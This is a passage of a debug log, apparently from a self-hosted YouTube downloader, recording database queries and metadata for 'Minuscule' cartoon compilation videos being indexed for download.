s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:18.959 [debug] QUERY OK source="media_items" db=0.7ms idle=1313.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-15 10:01:38Z], 4] 00:50:18.961 [debug] QUERY OK source="media_items" db=1.8ms idle=1314.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Ladybug | S01E01\n00:04:36 | Ants | S01E02\n00:09:25 | Love Story | S01E03\n00:14:14 | Wasp Belle | S01E04\n00:19:04 | Ugly | S01E05\n00:23:51 | Caterpillars in Pairs | S01E06\n00:28:38 | Yellow | S01E07\n00:33:26 | The Caterpillar and the Brook | S01E08\n00:38:15 | Cowardly Coward | S01E09\n00:43:04 | Convoy | S01E10\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #bees #chase #spider #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Ladybug 🐞 Minuscule 🍃 60' Compilation", "2d75027c-cf1a-40db-bab9-873f0faf4470", "LfgYnhHdrKk", 2897, false, 4, "https://www.youtube.com/watch?v=LfgYnhHdrKk", 50, "/downloads/Miniscule Season 1/2025-05-15 The Ladybug 🐞 Minuscule 🍃 60' Compilation/The Ladybug 🐞 Minuscule 🍃 60' Compilation [LfgYnhHdrKk].mkv", false, false, false, [], 1, ~U[2025-05-15 10:01:38Z], ~U[2025-12-14 07:50:18Z], ~U[2025-12-14 07:50:18Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Ladybug | S01E01\n00:04:36 | Ants | S01E02\n00:09:25 | Love Story | S01E03\n00:14:14 | Wasp Belle | S01E04\n00:19:04 | Ugly | S01E05\n00:23:51 | Caterpillars in Pairs | S01E06\n00:28:38 | Yellow | S01E07\n00:33:26 | The Caterpillar and the Brook | S01E08\n00:38:15 | Cowardly Coward | S01E09\n00:43:04 | Convoy | S01E10\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #bees #chase #spider #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Ladybug 🐞 Minuscule 🍃 60' Compilation", "LfgYnhHdrKk", 2897, false, 4, "https://www.youtube.com/watch?v=LfgYnhHdrKk", "/downloads/Miniscule Season 1/2025-05-15 The Ladybug 🐞 Minuscule 🍃 60' Compilation/The Ladybug 🐞 Minuscule 🍃 60' Compilation [LfgYnhHdrKk].mkv", false, ~U[2025-05-15 10:01:38Z]] 00:50:18.962 [debug] QUERY OK source="sources" db=0.3ms idle=597.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:18.963 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:18.963 [debug] QUERY OK source="media_items" db=0.4ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90636] 00:50:18.963 [debug] Current batch of media processed. Will check again in 1000ms 00:50:19.965 [debug] Current batch of media processed. Will check again in 1000ms 00:50:20.966 [debug] Current batch of media processed. Will check again in 1000ms 00:50:21.967 [debug] Current batch of media processed. Will check again in 1000ms 00:50:22.968 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Mad Fly | S01E55\n00:09:15 | Nap Time | S01E14\n00:14:04 | Cicadas’ Song | S01E16\n00:18:53 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #fly #village #alarms #chaos #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1443, "filename" => "/downloads/Miniscule Season 1/2025-05-03 Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation/Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation [x5wGlJ5D6sQ].mkv", "id" => "x5wGlJ5D6sQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=x5wGlJ5D6sQ", "playlist_index" => 51, "timestamp" => 1746295251, "title" => "Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation", "upload_date" => "20250503"} 00:50:22.969 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=595.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:22.970 [debug] QUERY OK source="sources" db=0.3ms idle=324.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:22.971 [debug] QUERY OK source="media_items" db=1.0ms idle=325.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 18:00:51Z], 4] 00:50:22.984 [debug] QUERY OK source="media_items" db=11.4ms idle=327.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Mad Fly | S01E55\n00:09:15 | Nap Time | S01E14\n00:14:04 | Cicadas’ Song | S01E16\n00:18:53 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #fly #village #alarms #chaos #Minuscule #nature #insects #ladybugs #animatedseries", "Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation", "871e47a7-3e58-44e1-83eb-7abd93649adc", "x5wGlJ5D6sQ", 1443, false, 4, "https://www.youtube.com/watch?v=x5wGlJ5D6sQ", 51, "/downloads/Miniscule Season 1/2025-05-03 Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation/Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation [x5wGlJ5D6sQ].mkv", false, false, false, [], 1, ~U[2025-05-03 18:00:51Z], ~U[2025-12-14 07:50:22Z], ~U[2025-12-14 07:50:22Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Mad Fly | S01E55\n00:09:15 | Nap Time | S01E14\n00:14:04 | Cicadas’ Song | S01E16\n00:18:53 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #fly #village #alarms #chaos #Minuscule #nature #insects #ladybugs #animatedseries", "Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation", "x5wGlJ5D6sQ", 1443, false, 4, "https://www.youtube.com/watch?v=x5wGlJ5D6sQ", "/downloads/Miniscule Season 1/2025-05-03 Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation/Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation [x5wGlJ5D6sQ].mkv", false, ~U[2025-05-03 18:00:51Z]] 00:50:22.985 [debug] QUERY OK source="sources" db=0.4ms idle=339.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:22.985 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=15.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:22.986 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=15.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89561] 00:50:22.987 [debug] Current batch of media processed. Will check again in 1000ms 00:50:23.988 [debug] Current batch of media processed. Will check again in 1000ms 00:50:24.989 [debug] Current batch of media processed. Will check again in 1000ms 00:50:25.990 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Luck | S01E62\n00:04:42 | Interior Cobwebs | S01E64\n00:09:09 | Windswept | S01E68\n00:13:58 | The Escapist | S01E59\n00:18:27 | The Persevering One | S01E31\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Luck #Interior #Spider #Chase #spiders #webs #fly #mishaps #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1420, "filename" => "/downloads/Miniscule Season 1/2025-04-29 No Luck 🍀 Minuscule 🍃 30' Compilation/No Luck 🍀 Minuscule 🍃 30' Compilation [smybKubrSgc].mkv", "id" => "smybKubrSgc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=smybKubrSgc", "playlist_index" => 52, "timestamp" => 1745906455, "title" => "No Luck 🍀 Minuscule 🍃 30' Compilation", "upload_date" => "20250429"} 00:50:25.991 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1345.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:25.992 [debug] QUERY OK source="sources" db=0.4ms idle=1346.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:25.994 [debug] QUERY OK source="media_items" db=1.0ms idle=1347.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-29 06:00:55Z], 4] 00:50:26.009 [debug] QUERY OK source="media_items" db=14.5ms idle=1349.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Luck | S01E62\n00:04:42 | Interior Cobwebs | S01E64\n00:09:09 | Windswept | S01E68\n00:13:58 | The Escapist | S01E59\n00:18:27 | The Persevering One | S01E31\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Luck #Interior #Spider #Chase #spiders #webs #fly #mishaps #Minuscule #nature #insects #ladybugs #animatedseries", "No Luck 🍀 Minuscule 🍃 30' Compilation", "973ea6b6-7690-49c6-bd4e-36f39b3ab297", "smybKubrSgc", 1420, false, 4, "https://www.youtube.com/watch?v=smybKubrSgc", 52, "/downloads/Miniscule Season 1/2025-04-29 No Luck 🍀 Minuscule 🍃 30' Compilation/No Luck 🍀 Minuscule 🍃 30' Compilation [smybKubrSgc].mkv", false, false, false, [], 1, ~U[2025-04-29 06:00:55Z], ~U[2025-12-14 07:50:25Z], ~U[2025-12-14 07:50:25Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | No Luck | S01E62\n00:04:42 | Interior Cobwebs | S01E64\n00:09:09 | Windswept | S01E68\n00:13:58 | The Escapist | S01E59\n00:18:27 | The Persevering One | S01E31\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Luck #Interior #Spider #Chase #spiders #webs #fly #mishaps #Minuscule #nature #insects #ladybugs #animatedseries", "No Luck 🍀 Minuscule 🍃 30' Compilation", "smybKubrSgc", 1420, false, 4, "https://www.youtube.com/watch?v=smybKubrSgc", "/downloads/Miniscule Season 1/2025-04-29 No Luck 🍀 Minuscule 🍃 30' Compilation/No Luck 🍀 Minuscule 🍃 30' Compilation [smybKubrSgc].mkv", false, ~U[2025-04-29 06:00:55Z]] 00:50:26.010 [debug] QUERY OK source="sources" db=0.4ms idle=630.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:26.011 [debug] QUERY OK source="media_profiles" db=0.2ms idle=18.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:26.012 [debug] QUERY OK source="media_items" db=0.6ms idle=18.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89562] 00:50:26.012 [debug] Current batch of media processed. Will check again in 1000ms 00:50:27.013 [debug] Current batch of media processed. Will check again in 1000ms 00:50:28.014 [debug] Current batch of media processed. Will check again in 1000ms 00:50:29.015 [debug] Current batch of media processed. Will check again in 1000ms 00:50:30.016 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | Totem | S01E28\n00:09:35 | Insect High Velocity | S01E53\n00:14:14 | Hyperactive | S01E54\n00:18:55 | The Wild Bunch | S01E74\n00:23:34 | No Exit | S01E61\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #totem #ants #phone #anthill #Minuscule #nature #insects #ladybugs #animatedseries #cartoonsforkids #animationforkids #storytellingforkids", "duration" => 1724, "filename" => "/downloads/Miniscule Season 1/2025-04-24 Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids/Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids [OWpYxqsIitY].mp4", "id" => "OWpYxqsIitY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OWpYxqsIitY", "playlist_index" => 53, "timestamp" => 1745488912, "title" => "Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids", "upload_date" => "20250424"} 00:50:30.017 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=629.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:30.018 [debug] QUERY OK source="sources" db=0.3ms idle=372.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:30.019 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=373.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-24 10:01:52Z], 4] 00:50:30.054 [debug] QUERY OK source="media_items" 